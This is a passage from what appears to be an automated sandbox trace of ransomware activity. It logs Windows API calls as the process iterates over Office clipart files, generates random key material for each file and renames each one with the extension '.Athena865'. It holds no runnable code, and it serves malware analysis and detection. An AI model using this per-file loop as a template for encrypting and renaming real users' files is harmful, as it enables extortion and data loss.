dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.381] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1160) returned 1 [0123.381] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.382] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.382] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.384] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.385] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.385] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.386] lstrcpyW (in: lpString1=0x241e8ae, lpString2="FD01196_.WMF" | out: lpString1="FD01196_.WMF") returned="FD01196_.WMF" [0123.386] lstrlenW (lpString="FD01196_.WMF") returned 12 [0123.386] lstrlenW (lpString="Athena865") returned 9 [0123.386] lstrcmpiW (lpString1="1196_.WMF", lpString2="Athena865") returned -1 [0123.386] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF.Athena865") returned 73 [0123.386] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.387] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2332) returned 1 [0123.387] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.388] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.388] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.390] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.390] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.390] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.391] lstrcpyW (in: lpString1=0x241e8ae, lpString2="FD01548_.WMF" | out: lpString1="FD01548_.WMF") returned="FD01548_.WMF" [0123.391] lstrlenW (lpString="FD01548_.WMF") returned 12 [0123.391] lstrlenW (lpString="Athena865") returned 9 [0123.391] lstrcmpiW (lpString1="1548_.WMF", lpString2="Athena865") returned -1 [0123.391] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF.Athena865") returned 73 [0123.391] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.392] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10316) returned 1 [0123.393] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.393] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.393] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.395] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.396] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.396] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.396] lstrcpyW (in: lpString1=0x241e8ae, lpString2="FD01657_.WMF" | out: lpString1="FD01657_.WMF") returned="FD01657_.WMF" [0123.396] lstrlenW (lpString="FD01657_.WMF") returned 12 [0123.397] lstrlenW (lpString="Athena865") returned 9 [0123.397] lstrcmpiW (lpString1="1657_.WMF", lpString2="Athena865") returned -1 [0123.397] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF.Athena865") returned 73 [0123.397] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.398] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=30414) returned 1 [0123.398] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.399] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.399] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.401] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.402] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.402] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.403] lstrcpyW (in: lpString1=0x241e8ae, lpString2="FD01658_.WMF" | out: lpString1="FD01658_.WMF") returned="FD01658_.WMF" [0123.403] lstrlenW (lpString="FD01658_.WMF") returned 12 [0123.403] lstrlenW (lpString="Athena865") returned 9 [0123.403] lstrcmpiW (lpString1="1658_.WMF", lpString2="Athena865") returned -1 [0123.403] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF.Athena865") returned 73 [0123.403] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.404] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=17924) returned 1 [0123.405] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.405] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.405] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.408] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.408] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.408] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.409] lstrcpyW (in: lpString1=0x241e8ae, lpString2="FD01659_.WMF" | out: lpString1="FD01659_.WMF") returned="FD01659_.WMF" [0123.409] lstrlenW (lpString="FD01659_.WMF") returned 12 [0123.409] lstrlenW (lpString="Athena865") returned 9 [0123.409] lstrcmpiW (lpString1="1659_.WMF", lpString2="Athena865") returned -1 [0123.409] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF.Athena865") returned 73 [0123.409] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.411] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=31180) returned 1 [0123.411] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.411] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.411] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.414] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.415] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.415] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.415] lstrcpyW (in: lpString1=0x241e8ae, lpString2="FD01660_.WMF" | out: lpString1="FD01660_.WMF") returned="FD01660_.WMF" [0123.415] lstrlenW (lpString="FD01660_.WMF") returned 12 [0123.415] lstrlenW (lpString="Athena865") returned 9 [0123.415] lstrcmpiW (lpString1="1660_.WMF", lpString2="Athena865") returned -1 [0123.416] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF.Athena865") returned 73 [0123.416] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.417] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=12958) returned 1 [0123.417] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.418] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.418] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.420] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.421] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.421] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.422] lstrcpyW (in: lpString1=0x241e8ae, lpString2="FD02068_.WMF" | out: lpString1="FD02068_.WMF") returned="FD02068_.WMF" [0123.422] lstrlenW (lpString="FD02068_.WMF") returned 12 [0123.422] lstrlenW (lpString="Athena865") returned 9 [0123.422] lstrcmpiW (lpString1="2068_.WMF", lpString2="Athena865") returned -1 [0123.422] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF.Athena865") returned 73 [0123.422] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.423] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2488) returned 1 [0123.423] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.424] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.424] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.426] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.427] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.427] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.427] lstrcpyW (in: lpString1=0x241e8ae, lpString2="FD02071_.WMF" | out: lpString1="FD02071_.WMF") returned="FD02071_.WMF" [0123.427] lstrlenW (lpString="FD02071_.WMF") returned 12 [0123.427] lstrlenW (lpString="Athena865") returned 9 [0123.427] lstrcmpiW (lpString1="2071_.WMF", lpString2="Athena865") returned -1 [0123.427] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF.Athena865") returned 73 [0123.427] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.428] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2188) returned 1 [0123.429] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.429] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.429] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.434] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.434] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.435] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.435] lstrcpyW (in: lpString1=0x241e8ae, lpString2="FD02075_.WMF" | out: lpString1="FD02075_.WMF") returned="FD02075_.WMF" [0123.435] lstrlenW (lpString="FD02075_.WMF") returned 12 [0123.435] lstrlenW (lpString="Athena865") returned 9 [0123.435] lstrcmpiW (lpString1="2075_.WMF", lpString2="Athena865") returned -1 [0123.435] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF.Athena865") returned 73 [0123.435] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.436] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4396) returned 1 [0123.436] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.437] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.437] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.439] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.440] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.440] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.441] lstrcpyW (in: lpString1=0x241e8ae, lpString2="FD02088_.WMF" | out: lpString1="FD02088_.WMF") returned="FD02088_.WMF" [0123.441] lstrlenW (lpString="FD02088_.WMF") returned 12 [0123.441] lstrlenW (lpString="Athena865") returned 9 [0123.441] lstrcmpiW (lpString1="2088_.WMF", lpString2="Athena865") returned -1 [0123.441] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF.Athena865") returned 73 [0123.441] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.442] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3696) returned 1 [0123.442] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.443] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.443] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.445] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.446] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.446] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.446] lstrcpyW (in: lpString1=0x241e8ae, lpString2="FD02097_.WMF" | out: lpString1="FD02097_.WMF") returned="FD02097_.WMF" [0123.446] lstrlenW (lpString="FD02097_.WMF") returned 12 [0123.446] lstrlenW (lpString="Athena865") returned 9 [0123.446] lstrcmpiW (lpString1="2097_.WMF", lpString2="Athena865") returned -1 [0123.446] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF.Athena865") returned 73 [0123.447] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.448] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1564) returned 1 [0123.448] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.448] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.448] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.451] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.451] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.451] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.452] lstrcpyW (in: lpString1=0x241e8ae, lpString2="FD02115_.WMF" | out: lpString1="FD02115_.WMF") returned="FD02115_.WMF" [0123.452] lstrlenW (lpString="FD02115_.WMF") returned 12 [0123.452] lstrlenW (lpString="Athena865") returned 9 [0123.452] lstrcmpiW (lpString1="2115_.WMF", lpString2="Athena865") returned -1 [0123.452] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF.Athena865") returned 73 [0123.452] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.454] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4660) returned 1 [0123.454] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.455] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.455] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.458] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) 